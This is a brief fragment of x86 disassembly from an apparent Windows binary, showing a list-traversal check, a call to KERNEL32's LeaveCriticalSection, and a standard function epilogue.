mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4021e0
mov dword [esp], 0x4880cc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret